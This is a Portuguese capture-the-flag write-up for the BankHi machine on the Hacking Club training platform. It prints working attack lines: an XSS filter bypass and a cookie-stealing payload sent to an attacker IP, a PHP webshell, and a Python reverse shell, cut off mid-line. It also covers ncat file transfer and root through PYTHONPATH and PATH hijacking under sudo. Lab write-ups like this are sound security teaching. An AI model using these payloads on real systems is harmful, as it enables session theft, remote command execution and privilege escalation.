Você está na página 1de 16

Write-Up - BankHi

Write-up bankhi

Sobre Hacking Club


Hacking Club é uma plataforma para aprender segurança cibernética, um recurso incrível se você não sabe por onde
começar. Além das máquinas vulneráveis, você tem acesso a aulas e desafios para praticar suas habilidades e acesso a uma
comunidade exclusiva para jogar e se desafiar.

A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking, experimente.

Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas. Então, vamos usar
uma ferramenta chamada nmap.

Ports:

Porta 22 - SSH

Porta 80 - HTTP

Porta 111 - RCPBIND

Site:

Write-Up - BankHi 1
Ao acessar a porta 80 podemos se registrar em About Us → Bug Bounty Program → Login Page.

Após se registrar temos acesso a página de reports, e podemos ver que foram feitos alguns reports sobre algumas
vulnerabilidades.

Write-Up - BankHi 2
Do lado direito superior, temos um botão para enviar um report.

Testarei um XSS, não é muito comum em CTF, mas se o admin estiver olhando os reports, talvez possamos enviar uma
payload maliciosa para roubar o cookie de sessão.

Write-Up - BankHi 3
Ao olhar o código fonte, podemos ver que ele removeu a nossa tag script e alert, temos um filtro aqui, podemos encontrar a
nossa primeira flag também.

Sabendo disso, podemos tentar dar um bypass bem simples:

<scrscriptipt>alealertrt(0)</scrscriptipt>

Write-Up - BankHi 4
Ao enviar a payload, podemos ver nosso alert na tela, então sabemos que está vulnerável a XSS =)

Podemos então criar uma payload maliciosa de XSS Session hijacking, assim conseguiremos roubar a sessão do usuário
admin.

<scrscriptipt>
new Image().src='http://<IP>/'+(docdocumentument.cookcookieie);
</scscriptript>

Iremos abrir o ouvinte do netcat para poder receber a requisição.

Write-Up - BankHi 5
Agora iremos enviar nosso report com nossa payload maliciosa.

E olhando o netcat recebemos uma requisição com um token.

Podemos então, adicionar esse token na nossa sessão:

Write-Up - BankHi 6
Após dar um refresh na página, temos a nossa segunda flag e um campo de upload.

Faremos então fazer um upload de uma webshell.

<?php system($_GET['cmd']); ?>

Write-Up - BankHi 7
Após ter feito o upload da webshell eu não sei em qual diretório ela foi salva, então podemos fazer um fuzzing de diretórios
para encontrar.

Encontramos o diretório → uploads.

E temos RCE, agora eu verifico se temos python no servidor, assim conseguimos pegar uma reverse shell utilizando o python.

Write-Up - BankHi 8
E temos , segue a payload de reverse shell abaixo:

Online - Reverse Shell Generator


Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom
Generator, and Raw Mode. Great for CTFs.

https://www.revshells.com/

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP-VPN>",<PORT>));os.dup2(s.fi

Ouvinte do netcat para receber a conexão:

Podemos então enviar nossa payload de reverse shell:

Write-Up - BankHi 9
E após enviarmos recebemos a conexão =)

Shell tty
Atualizando shell simples para TTYs totalmente interativos.

python3 -c "import pty;pty.spawn('/bin/bash')"

Ctrl+Z

stty raw -echo;fg

Enter

export TERM=xterm

Indo no diretório raiz temos um aquivo → wecolme.txt, nesse arquivo podemos encontrar a senha do usuário ronald.

Write-Up - BankHi 10
Após logar com o usuário ronald, podemos pegar a nossa terceira flag na home do usuário =)

Após pegar a terceira flag, podemos executar o seguinte comando → sudo -l

Podemos executar o script bingo.py com o usuário leia sem precisar fornecer senha do mesmo.

Python Library Hijacking - Python PATH


Essa vulnerabilidade é baseada na biblioteca Python que está pesquisando na variável de ambiente Python PATH. Esta
variável contém uma lista de diretórios onde o python procura os diferentes diretórios para os módulos importados.

Write-Up - BankHi 11
Como está importando o módulo socketserver, primeiro criaremos um arquivo de módulo malicioso com o nome de
socketserver.py e, em seguida, usando a capacidade de alterar a variável de ambiente PYTHONPATH, faremos uma entrada
para incluir nosso arquivo de módulo malicioso. O arquivo do módulo malicioso conterá uma payload que nós dará a shell do
usuário leia.

Payload socketserver.py:

import os
os.system("/bin/bash")

Agora iremos executar o script da seguinte forma:

sudo -u leia PYTHONPATH=/tmp/ /usr/bin/python3.7 /opt/bingo.py

Após rodar o script temos a shell do usuário leia =)

Com o usuário leia podemos executar novamente o comando sudo -l

Write-Up - BankHi 12
Podemos ver que segue o mesmo esquema acima:

Podemos executar o binário sl como usuário root sem senha, e também podemos setar a variável de ambiente =)
Ao executar o binário, vemos uma locomotiva passando na tela 🤣

Uma coisa que me chama atenção é que ao rodar o binário ele aparentemente está executando o comando→ ls , assim
listando nosso diretório atual.

Para confirmar, eu irei mandar esse binário para minha máquina, assim consigo analisar melhor =)
Então irei mandar o binário estático do netcat para a servidor, assim será possível baixar o binário → ( sl ) pra minha máquina.

Podemos baixar o netcat estático no link abaixo:

static-binaries/ncat at master · andrew-d/static-binaries


Various *nix tools built as statically-linked binaries - static-binaries/ncat at master · andrew-d/static-binaries

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat

Write-Up - BankHi 13
Com o binário do netcat no servidor, podemos executar os seguintes comandos abaixo:

nc -lvp 4444 > sl

./ncat <IP-VPN> 4444 < sl

Write-Up - BankHi 14
E temos o binário na nossa máquina =)

Agora podemos usar o ltrace para podermos analisar esse binário.


O ltrace é um utilitário de depuração no Linux, usado para exibir as chamadas que um aplicativo de espaço do usuário faz
para bibliotecas compartilhadas.

ltrace ./sl 2> output2.txt

Podemos ver no output que realmente ele chama o comando ls direto sem passar o path completo, ou seja, podemos
manipular a variável PATH usando nosso SETENV

Sabendo disso, podemos voltar para a exploração.


Iremos entrar no diretório /tmp e vamos criar o “ls” malicioso com a seguinte payload:

Write-Up - BankHi 15
#!/bin/bash

/bin/bash

Agora execute o seguinte comando:

sudo PATH=/tmp/:$PATH /bin/sl

E somos root =)

Agora basta ler a última flag, mas antes temos que exportar nosso path correto 😅

Write-Up - BankHi 16

Você também pode gostar